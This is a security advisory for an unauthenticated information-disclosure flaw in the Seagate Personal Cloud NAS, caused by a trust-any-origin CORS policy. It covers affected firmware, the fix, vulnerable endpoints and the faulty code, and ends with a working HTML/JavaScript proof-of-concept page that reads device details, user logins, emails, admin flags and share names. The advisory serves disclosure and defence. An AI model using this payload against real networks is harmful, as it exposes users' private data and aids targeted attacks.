Abstract
Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). It was found that the web application used to manage the NAS is affected by various unauthenticated information disclosure vulnerabilities. The device is configured to trust any CORS origin, and is accessible via the personalcloud.local domain name. Due to this it is possible for any website to gain access to this information. While this information doesn't allow an attacker to compromise the NAS, the information can be used to stage more targeted attacks.
Tested versions
This issue was tested on a Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0. The software is licensed from LACIE, it is very likely that other devices/models are also affected.
Fix
These issues have been mitigated in firmware version 4.3.19.3. The NAS no longer accepts CORS requests from arbitrary sites. A number of endpoints now require the user to be logged in.
Introduction
Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). Personal Cloud is deployed with software that allows uses to access their files over the internet, even if the devices is not directly accessible over the internet. Files are accessible through the Seagate Access web application.
It was found that the web application used to manage the NAS is affected by various unauthenticated information disclosure vulnerabilities. The web application is configured with an HTML5 cross-origin resource sharing (CORS) policy that trusts any Origin. In addition, the NAS is available using the personalcloud.local domain name via multicast Domain Name System (mDNS). Due to this it is possible to exploit this issue via a malicious website without requiring the NAS to be directly accessible over the internet and/or to know its IP address.
Details
Personal Cloud runs a Python application named webapp2
that is created by LACIE. This application is built upon the unicorn
library, another proprietary application from LACIE. The NAS ships with various versions of LACIE's REST API (version 3 up till and including version 8). Each REST endpoint is configured in a file named dispatch.py
, each API version comes with its own dispatch.py
file.
A REST endpoint contains one or more methods that can be called. Access control is configured per method. For example the method list_users
from the SimpleSharing
endpoint can be called unauthenticated, which is defined in the auth
& _auth
members.
/usr/lib/unicorn/webapp2/api/v8/sv0/simple_sharing/SimpleSharing.py:
'list_users': {
'input': {
'with_parameters': List(unicode),
'list_info': ListInfo
},
'output': {
'user_list': ResultSet(SimpleUser)
},
**'auth':['public'],**
**'_auth':['public']**
},
A quick search in the code reveals that the webapp2
application is deployed with various methods that can be called unauthenticated. Some of these methods disclose information that can be considered as sensitive. This information includes, but is not limited to:
- device information/version;
- email addresses;
- login names;
- (internal) IP configuration;
- MAC addresses;
- share names.
For example the list_users
method above can be used to list all login names and corresponding email addresses of all users of the NAS. REST endpoints that disclose sensitive information include (non-exhaustive list):
- http://personalcloud.local/api/external/8.0/system.System.get_infos
- http://personalcloud.local/api/external/8.0/system.System.get_date
- http://personalcloud.local/api/external/8.0/system.System.get_timezone
- http://personalcloud.local/api/external/8.0/system.System.get_branding_info
- http://personalcloud.local/api/external/8.0/sdrive.Management.get_version
- http://personalcloud.local/api/external/8.0/simple_sharing.SimpleSharing.list_users
- http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.get_user_login_from_email (search on
%
wildcard) - http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.myShares
- http://personalcloud.local/api/external/8.0/volumes.VolumeAdministration.list_volumes
- http://personalcloud.local/api/external/8.0/auto_update.administration.auto_update_service.get_status
- http://personalcloud.local/api/external/8.0/hw_monitoring.Administration.list_networks_info
- http://personalcloud.local/api/external/8.0/hw_monitoring.Administration.uptime
- http://personalcloud.local/api/external/8.0/multi_nic.administration.interface_service.get_all_interfaces
Figure 1: retrieving all NAS users
The REST API is configured to trust any origin. This can be seen in the code listing below where the value of the Origin
request header is used in the Access-Control-Allow-Origin
response header. Because the NAS is reachable via the personalcloud.local domain name, it is possible for any website to gain access to this information. While this information doesn't allow an attacker to compromise the NAS, the information can be used to stage more targeted attacks.
/usr/lib/unicorn/webapp2/transformer_specific/transport_http_unicorn.py:
class VersionDispatcher(DefaultDispatcher):
__import_path__ = u"webapp2.api"
def prepare(self):
self.set_header('Access-Control-Allow-Origin', **self.request.headers.get('Origin', '*')**)
Proof of concept
<!DOCTYPE html>
<html>
<!-- Get version information -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/system.System.get_infos',
{method: 'POST', body: '{}'})
.then(function(response) {
response.json().then(function(data){
if(data.hasOwnProperty('infos') && data['infos'].hasOwnProperty('__properties__')) {
props = data['infos']['__properties__'];
vendor = props['vendor_name'];
product = props['product'];
version = props['version'];
serial_number = props['serial_number'];
console.log(vendor + ' ' + product + ' ' + version + ' (serial: ' + serial_number + ')');
}
});
})
.catch(function(err) {
console.log('Error :', err);
});
</script>
<!-- Get users -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/simple_sharing.SimpleSharing.list_users',
{method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{}}}}, "with_parameters":{"__type__":"List","__sub_type__":"Unicode","__elements__":{}}} '})
.then(function(response) {
response.json().then(function(data){
if(data.hasOwnProperty('user_list') && data['user_list'].hasOwnProperty('__elements__')) {
console.log('Users:');
data['user_list']['__elements__'].forEach(function(user) {
if(user.hasOwnProperty('__properties__')) {
props = user['__properties__'];
firstname = props['firstname'];
lastname = props['lastname'];
login = props['login'];
email = props['email'];
is_admin = props['is_admin'];
is_enabled = props['is_enabled'];
console.log(firstname + ' ' + lastname + ' / ' + login + ' / ' + email +
' / admin: ' + is_admin + ' / enabled: ' + is_enabled);
}
});
}
});
})
.catch(function(err) {
console.log('Error :', err);
});
</script>
<!-- Get shares -->
<script type="text/javascript">
fetch('http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.myShares',
{method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{"name":""}}, "order":{"__type__":"Ordering", "__version__":0, "__sub_version__":0, "__properties__":{"asc":false, "order_by":"name"}}}}}'})
.then(function(response) {
response.json().then(function(data){
if(data.hasOwnProperty('share_through_list') && data['share_through_list'].hasOwnProperty('__elements__')) {
console.log('Shares:');
data['share_through_list']['__elements__'].forEach(function(share) {
if(share.hasOwnProperty('__properties__')) {
props = share['__properties__'];
console.log(props['share']['__properties__']['name']);
}
});
}
});
})
.catch(function(err) {
console.log('Error :', err);
});
</script>
</html>